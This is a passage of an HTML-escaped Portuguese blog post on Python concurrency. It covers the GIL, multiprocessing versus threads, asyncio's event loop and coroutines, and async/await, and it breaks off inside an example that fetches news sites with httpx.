&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/9936bc4be1cba43e506c44266381f21d/264eb/gil-lock-threads.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 78.125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkElEQVQoz4VSy26DMBDk/z+rl15atVKlRomCSiAgAtiAwS8wpoMt0UalYQ+wLJ6d2fEGdV2P4zjPMyEEubXWGNO2bZ7nyFGf8XTvvxForZum+QpDKYRUKk3TcxgWeS6EmPciEC56QkGYp1kURVLKgXN84vfUMoNfJbFO3WzvNARKqWmavOwkjoFEvuCHAYk+ndXLm/74tJxvM+MoWkB8RUjf97CA99wboV7fxdOzPpyGw2m8lVbrOzBojYvj8UgJhUnAo5txYENqW1Qmv011Y6HFzfIDXrOyLOmtgHj4XBQFZAvOR2NQ6ni/bdiawfa+6ymlrQvwozJozRgzo9kBY0jtRsL8cRyDf5FtjLdwB4xznHPpAnjIlkp2zr9Vmr+CDfAafrGwbfHlIlumlVp0DUMcRZCDBDT+doP/JMG/ilQLNWNKa8E6IxZJ0IW3X6FtsHWxbItSfqcIpUmSwMjfKxQ83l4M77cIdsD2rutQwUU8Yl4D5wCDClABBvP8FaILijtgsGFQ3+V6va5ysixDo2/02aWkjKljGgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Fluxograma com threads e os passos de acquire GIL, waiting for GIL, e releasing GIL&amp;quot;&quot;
        title=&quot;Exemplo onde a GIL é aquirida e liberada em diferentes threads (medium.com/fintechexplained)&quot;
        src=&quot;/static/9936bc4be1cba43e506c44266381f21d/e5715/gil-lock-threads.png&quot;
        srcset=&quot;/static/9936bc4be1cba43e506c44266381f21d/8514f/gil-lock-threads.png 192w,
/static/9936bc4be1cba43e506c44266381f21d/804b2/gil-lock-threads.png 384w,
/static/9936bc4be1cba43e506c44266381f21d/e5715/gil-lock-threads.png 768w,
/static/9936bc4be1cba43e506c44266381f21d/264eb/gil-lock-threads.png 867w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo onde a GIL é aquirida e liberada em diferentes threads (medium.com/fintechexplained)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Some isso ao fato de que &lt;a href=&quot;https://stackoverflow.com/questions/3044580/multiprocessing-vs-threading-python%5D&quot; title=&quot;Multiprocessing vs Threading Python [duplicate]&quot;&gt;criar novos processos é normalmente mais caro do que &lt;em&gt;threads&lt;/em&gt;&lt;/a&gt;, e temos uma resposta satisfatória aos números
apresentados no experimento anterior.&lt;/p&gt;
&lt;p&gt;Portanto, se:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;CPU-bound&lt;/em&gt;: Use &lt;em&gt;multiprocessing&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;I/O-bound&lt;/em&gt;: Use &lt;em&gt;threads&lt;/em&gt; ou &lt;em&gt;asyncio&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ah! Claro! asyncio!&lt;/h2&gt;
&lt;p&gt;E voltamos ao &lt;em&gt;asynchronous&lt;/em&gt;, afinal esse é um &lt;em&gt;post&lt;/em&gt; sobre &lt;em&gt;ASGI&lt;/em&gt; :)&lt;/p&gt;
&lt;p&gt;Segundo &lt;em&gt;Miguel Grinberg&lt;/em&gt;, no &lt;em&gt;talk&lt;/em&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=iG6fr81xHKA&quot; title=&quot;Veja a apresentação na íntegra&quot;&gt;&quot;Asynchronous Python for the Complete Beginner&quot;&lt;/a&gt;, &lt;em&gt;async&lt;/em&gt;
é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A style of concurrent programming in which tasks release the CPU during waiting
periods, so that other tasks can use it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;É importante salientar que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Async&lt;/em&gt; (&lt;em&gt;async IO&lt;/em&gt;, &lt;em&gt;asynchoronous&lt;/em&gt;, ou &lt;em&gt;asynchronous IO&lt;/em&gt;) e &lt;em&gt;asyncio&lt;/em&gt; não são exatamente a mesma coisa;&lt;/li&gt;
&lt;li&gt;O &lt;em&gt;asynchronous IO&lt;/em&gt;, de forma geral, é um estilo de programação concorrente;&lt;/li&gt;
&lt;li&gt;Já o &lt;a href=&quot;https://docs.python.org/3/library/asyncio.html&quot; title=&quot;Leia mais na documentação oficial&quot;&gt;&lt;em&gt;asyncio&lt;/em&gt;&lt;/a&gt; é uma das implementações &lt;em&gt;Python&lt;/em&gt; desse estilo (há outras implementações,
como o &lt;a href=&quot;http://github.com/MagicStack/uvloop&quot; title=&quot;Veja o repositório&quot;&gt;&lt;em&gt;uvloop&lt;/em&gt;&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Continuamos dentro dos domínios da concorrência, mas ainda assim, apresentando uma técnica completamente diferente.&lt;/p&gt;
&lt;h3&gt;Event loop&lt;/h3&gt;
&lt;p&gt;De forma simplista, imagine que há um objeto &lt;em&gt;Python&lt;/em&gt; chamado de &lt;em&gt;event loop&lt;/em&gt;, e esse camarada é
quem controla como e quando cada &lt;em&gt;task&lt;/em&gt; irá rodar. Ele é consciente de cada &lt;em&gt;task&lt;/em&gt;,
e sabe em qual estado cada uma está.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/868e2dbfba60262f09a26c4b9517c56a/e8950/python-event-loop.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 60.9375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACZUlEQVQoz21S20sUURyev6FnY8vSxIJywQxJQguj6EGLwAdB0h6kngJDeuwtiEgDJSqELj4UYl62HkTUNS287Mraiqvb7Nnd2Zndndmdvcxt58y5dDTCNfo4D+f8fpzf+c73fRwlhGBIKSX76wCkbHOocQCO2PrkpxdiXGQHB+Oyu5hNZZMJRX8qFsKCLCG7RBxkKVmCMIcISUX5gpqNm06kYKD9R2AJqT9JeMoKTWnKKrUUJBvmWlL1x6WtqBQRYx/nJ6Btc9Qx52bey0rWoDSgFGVNRxCFp+zBXs+tlt72lu5HHcNgLZ22jNmdmFayIaFKPrsOggghDmG8G/DnY2EB+P3JPOOQ89FnPdOuqurKM3UVpxuPHHXdu9ufXsTfgvFAQt77EabExthxOC3Gry6Ni8mUd+Ld8lZYsFBo1Lh9qae2/qL7zvPu/r6rzWdPVjXOP41GI/oiEORiQZCEuZUFaFmcllF8y94MCDPlQEHbTCu+N/mbTZ2V568Nvb6/PX35RmvD8Wr35OONtIhErZAsWjsJMLk+C6HDUWj+Cv0QReB5O7Cyy49HNsIe1Nf+xFVT29XZ3NXWVHXqXMuFNv/LXEo1Y0V9j/Zf8zgI7YWvYxKIGrohZNV1JRNPmKEVcP1KR8WJumM17ob61pEHi+omNanzPZYuaoahayC0jZlg1LHl5I4OnaCOQTG3lBBCOZlPSoEP6qv+meGHXxYGhUwAI7LnNsjrASnLJ6Ij3rGSVeJgSf88OpTgI6wJEWZ0eFWMFyQWDStFTJFZyWji8pDZtq3kMhhjjhWZ6AQ5hzP5f/yT1N9+UVqiDH6zPwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Ilustração mostrando de forma subjetiva como o event loop funciona&quot;
        title=&quot;O event loop é um pouco abstrato, e não consegui pensar em nenhum diagrama para explicá-lo (fadeevab.com)&quot;
        src=&quot;/static/868e2dbfba60262f09a26c4b9517c56a/e5715/python-event-loop.png&quot;
        srcset=&quot;/static/868e2dbfba60262f09a26c4b9517c56a/8514f/python-event-loop.png 192w,
/static/868e2dbfba60262f09a26c4b9517c56a/804b2/python-event-loop.png 384w,
/static/868e2dbfba60262f09a26c4b9517c56a/e5715/python-event-loop.png 768w,
/static/868e2dbfba60262f09a26c4b9517c56a/4ad3a/python-event-loop.png 1152w,
/static/868e2dbfba60262f09a26c4b9517c56a/71c1d/python-event-loop.png 1536w,
/static/868e2dbfba60262f09a26c4b9517c56a/e8950/python-event-loop.png 2000w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;O event loop é um pouco abstrato, e não consegui pensar em nenhum diagrama para explicá-lo (fadeevab.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Por exemplo, o estado &quot;pronto&quot; indica que a tarefa tem trabalho a fazer e está pronta para rodar. O &quot;esperando&quot; indica
que a tarefa está esperando que alguma coisa externa termine, como as &lt;em&gt;I/O-bounds operations&lt;/em&gt; que discutimos anteriormente.&lt;/p&gt;
&lt;p&gt;Para deixar as coisas simples, vamos imaginar que o &lt;em&gt;event loop&lt;/em&gt; mantenha uma lista para tarefas &quot;prontas para executar&quot;, e outra para &quot;esperando&quot;. Ele
pega uma das &lt;em&gt;tasks&lt;/em&gt; prontas para executar e bota para rodar. E aqui vai um detalhe importante: &lt;a href=&quot;https://en.wikipedia.org/wiki/Cooperative_multitasking&quot; title=&quot;Cooperative multitasking&quot;&gt;A tarefa terá total controle da execução até o momento que
ela, cooperativamente, devolve o controle para o &lt;em&gt;event loop&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Quando a tarefa devolve o controle para o &lt;em&gt;event loop&lt;/em&gt;, ele a coloca na determinada fila dependendo do seu estado. Ele (o &lt;em&gt;event loop&lt;/em&gt;) percorre a lista de tarefas &quot;esperando&quot;
para checar se o &lt;em&gt;I/O&lt;/em&gt; de alguma delas já acabou, e portanto, se o seu estado agora é &quot;pronta para executar&quot;. Essa tarefa é então movida para a lista de prontos para executar,
e o &lt;em&gt;event loop&lt;/em&gt; pega a próxima tarefa dessa mesma lista.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2a93ebfd4c3925f285434e70ae26e35a/dc616/iobound-asyncio.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.8125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACCUlEQVQoz21SaXPTMBD1//8ZDPQihWH6CVpa6BRKSpoSkri5yFUrPnPZjWRblh+SHQcH2Jmd1Ui7b/ftk4atpWm6i+n27vl7FZvrK3TfVFB/+QLNo4PsHNxcY/3xHNR4ymuE2NVrQRCAEPIHbPvAKMXgrgqut+BdXqB39g6N18foy0guPsCVd/5DHZFlojyUpus6Go0GbNvemzSKIiwl6Go0wnP1FuuvN2hWTlA/PED7tAJy/h6LT5fwZdNo7iFNeD4hYwxUFqpYBhSSBo9jTKZTrIgBevcNoVyB/vYUP06OcH/4Ci0J7H2+gn/7BbFkmgGiZGXKCrBoYkhQZzgEXy5BHRuBacKfzbCRrJjryAnnSHicAxYgZVGESBFzDioBGQux9n0kaVruDRqGMGYmnsgMxLRgWvb+hGXgXxZDh4R4NCg6BkNrEoBzobIyRYsd6+MFHgZLNIYr/Byt0bdiaK7rYiopFaao9s0IXTNBz1IuoBsReCL+2nGKscvRs1P0t65qtE6ng3a7DRWLnfXNcAvGs6gb4T+AiWw8sovGfJerhXIXsVRT/UfOc+m7hKFtxNCJpEViNCdU7lTsGCjQJEkwMEt5Rp67p3Ixgb/hWFMBn0mnuf/PNlGa52W56pzsq7xTWiRYzF14noO552buOk72+Wu1GsbjsXzz4Mkvo3y1XKDbfYRjW/gN9KOMDP8ANGAAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Diagrama de tempo comparando I/O waiting e CPU processing com asyncio&amp;quot;&quot;
        title=&quot;I/O e CPU em um contexto I/O-Bound com asyncio (realpython.com)&quot;
        src=&quot;/static/2a93ebfd4c3925f285434e70ae26e35a/e5715/iobound-asyncio.png&quot;
        srcset=&quot;/static/2a93ebfd4c3925f285434e70ae26e35a/8514f/iobound-asyncio.png 192w,
/static/2a93ebfd4c3925f285434e70ae26e35a/804b2/iobound-asyncio.png 384w,
/static/2a93ebfd4c3925f285434e70ae26e35a/e5715/iobound-asyncio.png 768w,
/static/2a93ebfd4c3925f285434e70ae26e35a/dc616/iobound-asyncio.png 933w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;I/O e CPU em um contexto I/O-Bound com asyncio (realpython.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E o processo se repete.&lt;/p&gt;
&lt;h3&gt;asyncio x multithreading&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;async&lt;/em&gt; e &lt;em&gt;threads&lt;/em&gt; podem até parecer ter algumas semelhanças, mas há muitas diferenças. Para começar, as &quot;tarefas&quot; no contexto
do &lt;em&gt;asyncio&lt;/em&gt; são chamadas de &lt;em&gt;coroutines&lt;/em&gt;. Recorremos ao &lt;a href=&quot;https://stackoverflow.com/questions/1934715/difference-between-a-coroutine-and-a-thread&quot; title=&quot;Difference between a “coroutine” and a “thread”?&quot;&gt;&lt;em&gt;Stackoverflow&lt;/em&gt; para deixar as coisas mais claras&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;With threads, the operating system switches running threads preemptively according to its scheduler, which is an algorithm in
the operating system kernel. With coroutines, the programmer and programming language determine when to switch coroutines;
in other words, tasks are cooperatively multitasked by pausing and resuming functions at set points, typically (but not
necessarily) within a single thread.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Duas coisas importantes precisam ser observadas com essa afirmação:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Tarefas nunca são interrompidas no meio de uma operação, portanto, é mais fácil e seguro compartilhar recursos com &lt;em&gt;asyncio&lt;/em&gt; em comparação com &lt;em&gt;threads&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;É isso mesmo que você leu: Tipicamente (mas não necessariamente) dentro de uma única &lt;em&gt;thread&lt;/em&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Outro ponto importante é que assim como &lt;em&gt;threads&lt;/em&gt;, corrotinas são mais leves que subprocessos. Mas aposto que você ainda está chocado com o &lt;em&gt;single-thread&lt;/em&gt;, então
vamos voltar a ele.&lt;/p&gt;
&lt;h3&gt;O exemplo da enxadrista&lt;/h3&gt;
&lt;p&gt;O &lt;em&gt;asyncio&lt;/em&gt; é (&lt;a href=&quot;https://docs.python.org/3/library/asyncio-dev.html#concurrency-and-multithreading&quot; title=&quot;Concurrency and Multithreading&quot;&gt;por padrão&lt;/a&gt;) &lt;em&gt;single-threaded&lt;/em&gt; e &lt;em&gt;single-process&lt;/em&gt;. Como ele consegue ser uma alternativa tão interessante quanto os seus primos?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c3bb25e3bbc3a415256c9afebe6b824d/b17f8/queens-gambit.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAABAv/EABcBAAMBAAAAAAAAAAAAAAAAAAABAgP/2gAMAwEAAhADEAAAAQ9j3O2RYf8A/8QAGxAAAQQDAAAAAAAAAAAAAAAAAgABA0EQEiL/2gAIAQEAAQUCGYmXO11j/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQMBAT8BJ//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABsQAAEEAwAAAAAAAAAAAAAAAAEAAhEhAxIg/9oACAEBAAY/AriAg7GKR2rj/8QAGhABAAMBAQEAAAAAAAAAAAAAAQARQSExUf/aAAgBAQABPyELQ6bOb58sRusluguOtlpH2f/aAAwDAQACAAMAAAAQrA//xAAXEQEAAwAAAAAAAAAAAAAAAAAAAREh/9oACAEDAQE/EKQx/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAEh/9oACAECAQE/EK1//8QAHBABAAIDAAMAAAAAAAAAAAAAAQARITFBYZGh/9oACAEBAAE/EGt8T0ca9wMiTL6bo33PyIWf4BWr34jduS2xYAoCJEqVZ//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Protagonista de Gambit&amp;#39;s Queen jogando xadresz&amp;quot;&quot;
        title=&quot;Achou que não ia ter referência ao Gambito? (lifestyleasia.com)&quot;
        src=&quot;/static/c3bb25e3bbc3a415256c9afebe6b824d/212bf/queens-gambit.jpg&quot;
        srcset=&quot;/static/c3bb25e3bbc3a415256c9afebe6b824d/7809d/queens-gambit.jpg 192w,
/static/c3bb25e3bbc3a415256c9afebe6b824d/4ecad/queens-gambit.jpg 384w,
/static/c3bb25e3bbc3a415256c9afebe6b824d/212bf/queens-gambit.jpg 768w,
/static/c3bb25e3bbc3a415256c9afebe6b824d/5ef17/queens-gambit.jpg 1152w,
/static/c3bb25e3bbc3a415256c9afebe6b824d/ac99c/queens-gambit.jpg 1536w,
/static/c3bb25e3bbc3a415256c9afebe6b824d/b17f8/queens-gambit.jpg 1600w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Achou que não ia ter referência ao Gambito? (lifestyleasia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Voltamos a citar o &lt;em&gt;RealPython&lt;/em&gt;, &lt;a href=&quot;https://realpython.com/async-io-python/&quot; title=&quot;Async IO in Python&quot;&gt;trazendo o exemplo da enxadrista&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Chess master Judit Polgár hosts a chess exhibition in which she plays multiple amateur players.
She has two ways of conducting the exhibition: synchronously and asynchronously.&lt;/p&gt;
&lt;p&gt;Assumptions&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;24 opponents&lt;/li&gt;
&lt;li&gt;Judit makes each chess move in 5 seconds&lt;/li&gt;
&lt;li&gt;Opponents each take 55 seconds to make a move&lt;/li&gt;
&lt;li&gt;Games average 30 pair-moves (60 moves total)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Synchronous version:&lt;/strong&gt; Judit plays one game at a time, never two at the same time, until the game is complete.
Each game takes (55 + 5) * 30 == 1800 seconds, or 30 minutes. The entire exhibition takes 24 * 30 == 720 minutes, or &lt;strong&gt;12 hours&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Asynchronous version:&lt;/strong&gt; Judit moves from table to table, making one move at each table. She leaves the table and lets the opponent
make their next move during the wait time. One move on all 24 games takes Judit 24 * 5 == 120 seconds, or 2 minutes.
The entire exhibition is now cut down to 120 * 30 == 3600 seconds, or just &lt;strong&gt;1 hour&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Temos apenas uma &lt;em&gt;Judit&lt;/em&gt;, que pode fazer um movimento por vez por ela mesma. Ela jogar cada jogo de forma síncrona limita ela
também ao tempo que o outro enxadrista tem para respondê-la. Mas de forma assíncrona, ela consegue lidar com múltiplas tarefas acontecendo concorrentemente,
em turnos que permitem que ao tempo que um enxadrista está pensando em uma resposta, ela se move para o próximo, e retorna quando o primeiro estiver pronto.&lt;/p&gt;
&lt;p&gt;Imagine que &lt;em&gt;Judit&lt;/em&gt; é o &lt;em&gt;event loop&lt;/em&gt;, e que as jogadas com os 24 oponentes são tarefas acontecendo concorrentemente.&lt;/p&gt;
&lt;h3&gt;async/await&lt;/h3&gt;
&lt;p&gt;Mas como?&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Python&lt;/em&gt; apresenta algumas palavras reservadas que permitem informar ao &lt;em&gt;event loop&lt;/em&gt; o estado da tarefa sendo executada.
Você provavelmente já ouviu falar das principais: &lt;code class=&quot;language-text&quot;&gt;async&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Com a primeira, indicamos ao &lt;em&gt;Python&lt;/em&gt; que uma função trata-se de uma corrotina (ou um &lt;a href=&quot;https://www.python.org/dev/peps/pep-0525/&quot; title=&quot;Leia a PEP 525&quot;&gt;&lt;em&gt;generator&lt;/em&gt; assíncrono&lt;/a&gt;).
Já com o &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt;, estamos dando o controle de volta ao &lt;em&gt;event loop&lt;/em&gt;, e sinalizando que podemos esperar pelo resultado de determinada operação.&lt;/p&gt;
&lt;p&gt;Ou seja, com o código abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; r&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Queremos dizer:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Suspenda a execução de g(),
até que o que quer que a gente esteja esperando em f()
seja retornado.

Nesse meio tempo, vá executar alguma outra coisa...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E note que bibliotecas para &lt;em&gt;I/O&lt;/em&gt; precisam suportar essa forma de escrita, caso contrário não estaremos de fato fazendo uso das propriedades do &lt;em&gt;async&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Na prática&lt;/h3&gt;
&lt;p&gt;Voltamos ao mesmo exemplo usado com &lt;em&gt;threads&lt;/em&gt; e &lt;em&gt;multiprocessing&lt;/em&gt;, mas agora reescrito para utilizar a biblioteca &lt;code class=&quot;language-text&quot;&gt;asyncio&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# async.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; asyncio
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; httpx
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; itertools

URLS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;http://www.foxnews.com/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;http://www.cnn.com/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&apos;http://www.bbc.co.uk/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;measure_url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;client&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    resp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;get&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;resp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
